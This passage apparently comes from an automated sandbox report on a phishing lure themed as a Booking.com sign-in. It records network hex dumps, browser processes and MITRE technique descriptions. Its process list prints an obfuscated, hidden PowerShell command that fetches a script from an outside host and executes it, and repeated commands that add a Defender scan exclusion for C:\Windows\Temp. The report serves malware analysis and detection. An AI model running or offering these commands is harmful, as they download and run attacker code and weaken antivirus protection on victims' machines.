f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 25 dc 93 6a 9f d2 e0 c1 ea a0 79 31 c4 ab 34 9c e1 43 a8 b3 7e 55 3a 43 6e 5b 8c bc 1c ac b5 c5 db f6 d5 6b 9a 98 b7 61 91 ec 20 ed 8b 6b 6b 17 65 25 d4 6a aa b6 ca 84 bd 36 98 48 0e 5e cd 7c b0 80 4f 8a 29 1a bd 79 0a 95 15 94 2c 8d 46 d3 90 66 2a a1 20 71 50 9b 63 14 ba 66 53 25 93 57 c9 de 70 e3 0a f9 95 e5 f6 30 46 8b 99 e7 52 08 31 34 2a fb 7b 19 1f 7d d2 b0 1d 12 db 90 d7 13 2b 94 d3 2c 24 3c da 5c c7 eb 72 6a b9 b9 58 16 5c 90 d7 e5 cd 92 95 32 0d 6b cf 04 8d 4e 78 08 6b 05 10 2b 3f 35 f1 9b 05 cf 25 b3 f8 b8 80 45 47 a6 3f 98 fb 9d 6d bb 59 60 bf 35 2a 6a 71 da 05 32 46 9c 40 06 81 a2 d0 24 13 09 4e 44 ad c8 6d e0 34 6a 19 a9 18 60 e4 00 e9 b7 1d ae 08 07 c3 31 50 c7 68 68 e8 50 28 40 75 d8 01 17 46 0a 23 66 bd 70 60 ba 6d fe d2 9a c3 39 9c fb a0 Data Ascii: %jy14C~U:Cn[ka kke%j6H^\|O)y,Ff* qPcfS%Wp0FR14{}+,$<\rjX\2kNxk+?5%EG?mY`5jq2F@$NDm4j`1PhhP(@uF#fp`m9
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 88 13 d2 ca b4 06 b4 39 d4 f9 dc 75 86 ec f8 71 28 61 7c 4c c7 63 c8 ea 15 e7 75 7d 6d 29 70 2a 71 c0 e4 ec e9 97 37 59 2c ef da 63 ae b1 f3 e5 0b 3b cf df 39 d7 39 fa 82 03 6e ce 5d df 9a 7e b1 21 8c f5 e5 b9 a1 86 fb 42 cd 8f 80 65 85 b7 9b da 6d 66 ca ea e3 34 46 3b 0d 3a b7 43 5e 3d 7a 57 67 f5 fc 5c 06 83 b4 c2 d8 63 75 21 29 ed dd c1 86 8d 5d 43 f3 49 fd 3d 76 02 f5 6a 5c 57 4b 0c 0f 16 4c dc ae 2c 6b d6 f7 77 f2 a8 5d 45 e3 67 7b 15 83 04 9a 73 32 62 e8 67 d8 7e c1 4c 27 14 66 da 01 f8 70 cc af 50 49 02 86 a1 cc 11 74 0c 24 7f 15 ad 28 be 9d 40 0c 81 9d a0 c6 02 69 80 3c 40 a6 20 29 90 04 80 7d 78 26 1e ec 70 98 20 80 f0 1b 08 60 00 70 d4 d7 e1 d0 c7 a1 d0 95 43 18 82 b8 25 55 45 8c a6 3c b1 98 db 86 78 7d 26 94 17 d0 3b 82 42 0d 40 0d 50 49 53 4a Data Ascii: 9uq(a\|Lcu}m)p*q7Y,c;99n]~!Bemf4F;:C^=zWg\cu!)]CI=vj\WKL,kw]Eg{s2bg~L'fpPIt$(@i<@ )}x&p `pC%UE<x}&;B@PISJ
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 9e 4c 48 88 5f 1b 99 a2 79 07 02 1f 96 7e 0e 91 7d ff 94 85 f8 7a 67 50 22 aa 5f 9d b1 ea a1 e7 40 3d e0 af d4 09 80 e0 46 08 01 02 dc 7c 87 51 31 df 61 b4 fc b5 f8 5f f9 9c 7e 37 d4 2e 33 2b bb ab b5 2d 61 e9 d4 86 25 79 97 ff 9e 60 01 ae e6 85 4f 0d 70 27 cb 1c ca cd c6 bb 4c ee e3 f1 e7 bd 04 1a c4 ed 5f ae e6 74 15 34 ce df 79 d8 bc c2 5b 3a 92 70 aa 60 87 34 ac 37 4f 07 1b c3 55 5a 75 15 93 ac 8f 49 e2 e4 eb 89 76 36 16 f0 83 b7 d5 bb 9f 67 2f 58 2c 57 77 4a 51 b7 7d ea c5 74 6c 12 68 7c 96 77 f7 76 81 a8 ad 31 99 b2 9b a5 fe 82 2e a8 87 5d 00 c3 8c c5 2b de 55 90 4a db 4b 20 93 f0 89 59 6d 27 da 83 c9 06 97 5b cf e2 8c 3a da b1 f1 9f 15 df ae f8 48 9f 72 16 a2 76 86 7d ce 3a 98 57 9f df 1b d0 21 92 e5 7e 21 70 a6 89 08 f9 40 7b 4f 81 e4 ad 37 f1 88 Data Ascii: LH_y~}zgP"_@=F\|Q1a_~7.3+-a%y`Op'L_t4y[:p`47OUZuIv6g/X,WwJQ}tlh\|wv1.]+UJK Ym'[:Hrv}:W!~!p@{O7
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: ec 5b ba a1 ad f4 7e b4 36 22 6b 2a 3a ea b1 10 bb 5a d2 82 b3 0d ce 73 7e 0e e7 48 44 3b 1f 73 dd 54 69 30 7d cb f8 b3 28 bf 32 cd a8 91 6d 34 ad bb 0e d6 22 89 e7 eb 96 b3 8a bc 59 04 0a 5e bc 0b 94 99 3b ef f8 9c bb b7 31 08 30 50 61 9f 34 7d fc aa 6a 32 22 64 fa 76 01 58 be a6 de 25 8f 4c df ca 78 6c 2b 26 9a 9a 4a 74 8f a6 d3 ed aa 44 e2 79 8f 57 ad 97 78 47 09 43 fb f6 b2 69 ae fa ed 0e a6 c8 bc 2d 77 e5 1a be 7a c9 bf 7a 38 df 8f 7f 89 5f 71 93 cd f1 3e a1 da 7c 03 1a 34 f3 b5 5b 8e 92 80 7b dc 29 5e 24 de 2a fe 87 0a 59 f2 e5 dc f9 04 df 73 8a c3 c5 46 cd eb bd 03 6e a2 52 ca 4d 3c 42 8a 91 90 5a 49 6b 4e fc c5 eb 6a e7 27 5f d7 d9 92 eb 99 80 dd 9e 5b 65 18 f5 33 5f 86 4c f2 90 bb f6 e7 d2 ac 36 6f 13 62 f5 9b 39 9d 78 c6 6f 1e a6 9f 96 13 48 6b Data Ascii: [~6"k:Zs~HD;sTi0}(2m4"Y^;10Pa4}j2"dvX%Lxl+&JtDyWxGCi-wzz8_q>\|4[{)^$YsFnRM<BZIkNj'_[e3_L6ob9xoHk
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: e0 22 b7 3c 63 7a e6 a3 86 23 e7 30 2c a5 42 31 a2 ae 1d 00 01 77 ff 02 a6 f0 eb 0b 87 ba f9 f4 b0 9c 8b e6 cf 6e 16 c7 b8 4c f1 8c b4 47 9e 54 c6 be 45 47 91 4e 78 c0 25 c3 da 17 f4 70 5a ff 27 b0 83 21 21 a0 e4 ae fa e7 11 5b d1 a2 1b 58 46 ba 4f bb ee 07 59 6e f4 ab 0a 81 03 c1 db 6d e1 39 50 02 d9 13 3a ab 49 21 bc e7 4b f7 77 6a 95 6b 49 fb ce 2e 4c aa 8c 55 4e a9 ed f2 4b ba 33 65 99 89 da 5f 69 11 cd d0 da 26 9d ba bf 75 33 7c 68 ce 52 23 f7 6e bc 71 bd c0 f4 4c 0b 5d 99 f0 e8 ca 66 97 be 7a a9 35 72 a3 de 49 98 95 65 3a c9 e6 ee 0c cd 45 69 a7 49 e7 1e fb 4f 4f 15 f7 a3 06 9f 47 bd ab 57 ad de 78 c8 98 dc 16 dc f3 dc dc 55 83 32 68 7c fe e1 8e ea 62 90 73 ac a2 96 77 af 48 45 bf 78 17 b3 09 a7 a0 ca 83 66 1e 5a d1 e5 90 4f 7e a6 0b 01 21 3a 95 a5 Data Ascii: "<cz#0,B1wnLGTEGNx%pZ'!![XFOYnm9P:I!KwjkI.LUNK3e_i&u3\|hR#nqL]fz5rIe:EiIOOGWxU2h\|bswHExfZO~!:
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 32 1b 0a 18 02 7a 78 07 ff b7 e4 2c d8 df 5c 0f 2a b6 bb 00 9c 87 d0 82 ba 63 31 84 2a c7 46 98 eb 69 7b ca ce 9c e6 4a 57 82 55 9d 16 93 e4 b5 57 d0 fa 9c 13 8a fb e0 26 aa cb 42 66 b1 8c b9 47 81 8f 78 e3 fb 48 3f d3 f1 e2 b2 3b da 37 b9 e7 72 09 2f 28 74 c5 3e 08 59 00 a5 23 c9 e2 00 24 d9 ad 9f 24 21 fe a8 3a df 1f 25 21 0e a8 2a 9b 7f 22 09 51 ff 59 12 22 01 43 82 45 51 0d 42 bf 2f 09 89 de 9f 4c c9 db 61 c0 ef 3e d3 70 fe f1 53 0b 5c 79 ac ed 1b 14 3c 55 e6 4d a6 39 95 45 ed 70 7c 08 dc 92 bb c1 42 6b e0 27 49 08 37 a7 00 02 f1 4d 12 f2 3a 2b a0 03 08 78 f1 a7 6c c7 af 6c 11 f6 71 b6 48 c2 c1 c2 15 65 9e c7 e2 24 04 13 c0 70 d4 8d da 51 c3 da c6 c2 de fc 1b fb 24 28 0d 00 1c 00 9f 0c c0 21 2d c4 2b f0 af 6b 41 16 01 24 3a 0d 80 44 c3 38 a6 05 59 7f Data Ascii: 2zx,\c1Fi{JWUW&BfGxH?;7r/(t>Y#$$!:%!*"QY"CEQB/La>pS\y<UM9Ep\|Bk'I7M:+xllqHe$pQ$(!-+kA$:D8Y
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 7c 24 f8 a0 ce fd 7a 40 64 78 d4 ba d0 e2 f2 bf a4 fc f8 e2 50 c0 60 d0 a5 93 cd 3c de 94 69 0f 58 bd 36 18 c4 18 88 b1 82 8a 48 29 e9 2a 82 cf 65 09 86 26 8b dc 0b 7d bc be 1c f4 58 aa f5 29 c8 ea 5a 78 49 52 be 34 5b fd 1e 8f 4e 87 e0 ce 85 57 93 e2 f3 cf 81 d3 11 8f a5 b2 a4 79 d3 68 e4 07 e8 4e 36 bd 4c 8d 0d 77 9b 0b de f5 6b e4 6f e1 7f cd 83 97 50 96 71 e7 35 a7 8f 91 df 93 06 62 9c c9 b1 75 aa 1e 01 c3 a0 d1 c7 1f 72 06 82 e0 58 00 02 d7 0a cd a4 eb a5 3e 5d c7 86 55 ab e9 22 f1 63 09 2d 9d 13 3e 49 38 57 5c d8 83 67 c1 75 c5 48 f3 65 71 9a a2 b0 a6 47 e8 32 13 f5 41 d5 cc 6d 22 a3 c4 bb 85 55 d2 db 8a a2 79 30 ce 1e a7 f3 90 19 ec 12 95 c4 54 46 a6 8f 96 54 04 f3 6d 0c 27 c7 22 b3 1e f0 47 da b5 bb ec 28 a7 bb 79 3e 7f 40 cc 97 48 c3 94 f8 d8 df Data Ascii: \|$z@dxP`<iX6H)*e&}X)ZxIR4[NWyhN6LwkoPq5burX>]U"c->I8W\guHeqG2Am"Uy0TFTm'"G(y>@H
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 a9 9d 26 b6 7a 21 ff 73 7a 7d 44 18 6d a3 7f b8 a4 78 23 38 6f 6b cd 97 ef 3f 75 99 b5 f5 2a e7 7c f9 a2 de ed d8 f1 6e 7b d7 b0 43 9c ac ff 11 e2 94 7d 61 09 b5 51 4e 0f 1b 03 13 b4 e1 92 7e 9e 6b d5 a1 e0 c3 e3 f1 92 12 81 23 1d 9e 5b 8c 83 b9 a6 f2 ce fc 34 44 06 ee 97 6a 1a ad 7a 2a 89 47 bd 67 a2 d1 1b 21 b0 95 e8 29 23 38 98 10 56 c4 12 82 e9 48 03 14 04 7f bf 70 42 b6 d9 b6 04 1b 03 9c 67 15 67 02 d2 9d 6a ae 97 5b 7d 39 7e 4d a2 c1 ac 9f 7c 54 6e 51 8b bf 3d a5 80 c1 91 a9 64 bb 20 52 b5 85 97 b4 95 50 0a 41 6e 51 f1 ca cb 97 e4 bf 2a 74 93 cf a7 ba 48 88 0c 5f 19 af 70 7d 15 f1 9f 24 d6 9c 85 c7 06 de 82 3c 2b c3 8b fc 4e 4e e9 0e fa 79 68 26 98 fa e0 d5 Data Ascii: "0H0&z!sz}Dmx#8ok?u\|n{C}aQN~k#[4DjzGg!)#8VHpBggj[}9~M\|TnQ=d RPAnQtH_p}$<+NNyh&
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 55 70 64 61 74 65 20 53 69 67 6e 69 6e 67 20 43 41 20 32 2e 33 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ac 39 80 cb 34 50 ca 26 3f 5d 76 26 ca d3 8c c1 1d 5c eb 30 97 c6 66 86 26 a6 d5 5d 5f 4f cd 80 4c 0f 67 ec 25 0c bb 39 11 3b 6e 86 fd c7 21 27 60 fc 80 7c 01 89 ad e8 6e cd bd d0 47 5f 58 6d 00 3b 46 57 99 7d 16 b3 76 12 8b ca 9d 86 6c 1d 70 9a 69 d4 45 fe ce 72 ea ca ca 94 60 9d 7c 73 Data Ascii: 10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Update Signing CA 2.30"0*H094P&?]v&\0f&]_OLg%9;n!'`\|nG_Xm;FW}vlpiEr`\|s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49728	35.190.80.1	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:51:18 UTC	543	OUT	OPTIONS /report/v4?s=rcmN9fV8ufKEQ0zm2yJ9yfLIP570R5pgKblgLUkkjy95j46ILy1Z0ba8iENXusmtK1vI%2FxPA5P5AQllLX14tT2s2ZciXKRpjOiNhZ1v5svL20eCl%2Fi41xhH5o%2FrBKTCGJunCk90DhsR6jth%2B HTTP/1.1 host: a.nel.cloudflare.com origin: https://booking.home-extranet.com access-control-request-method: POST access-control-request-headers: content-type user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-06-10 10:51:18 UTC	317	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 10 Jun 2025 10:51:18 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-06-10 10:51:19 UTC	519	OUT	POST /report/v4?s=rcmN9fV8ufKEQ0zm2yJ9yfLIP570R5pgKblgLUkkjy95j46ILy1Z0ba8iENXusmtK1vI%2FxPA5P5AQllLX14tT2s2ZciXKRpjOiNhZ1v5svL20eCl%2Fi41xhH5o%2FrBKTCGJunCk90DhsR6jth%2B HTTP/1.1 host: a.nel.cloudflare.com content-length: 2199 content-type: application/reports+json origin: https://booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-06-10 10:51:19 UTC	1460	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 34 32 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 36 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 36 2e 35 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 69 6e 67 2e 68 6f 6d 65 2d 65 78 74 72 61 6e Data Ascii: [{"age":58423,"body":{"elapsed_time":865,"method":"GET","phase":"application","protocol":"h2","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.96.53","status_code":400,"type":"http.error"},"type":"network-error","url":"https://booking.home-extran
2025-06-10 10:51:19 UTC	739	OUT	Data Raw: 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 69 6e 67 2e 68 6f 6d 65 2d 65 78 74 72 61 6e 65 74 2e 63 6f 6d 2f 61 70 69 3f 63 3d 31 22 2c 22 75 73 65 72 5f 61 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 33 34 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 7d 2c 7b 22 61 67 65 22 3a 33 38 38 33 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 Data Ascii: type":"http.error"},"type":"network-error","url":"https://booking.home-extranet.com/api?c=1","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"},{"age":38833,"body":{"elapsed_time
2025-06-10 10:51:19 UTC	195	IN	HTTP/1.1 200 OK content-length: 0 access-control-allow-origin: * vary: Origin date: Tue, 10 Jun 2025 10:51:18 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Target ID:	1
Start time:	06:50:03
Start date:	10/06/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	06:50:08
Start date:	10/06/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2120,i,9730610684650128976,8350997037842141116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:3
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	06:50:15
Start date:	10/06/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI"
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:50:48
Start date:	10/06/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /K poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"
Imagebase:	0x2a0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	06:50:48
Start date:	10/06/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	06:50:49
Start date:	10/06/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"
Imagebase:	0x230000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	06:50:52
Start date:	10/06/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Imagebase:	0x230000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:50:52
Start date:	10/06/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:51:04
Start date:	10/06/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Imagebase:	0x230000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:51:04
Start date:	10/06/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:51:14
Start date:	10/06/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Imagebase:	0x230000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:51:14
Start date:	10/06/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:51:24
Start date:	10/06/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Imagebase:	0x230000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:51:24
Start date:	10/06/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:51:29
Start date:	10/06/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Imagebase:	0x230000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	06:51:29
Start date:	10/06/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68dae0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

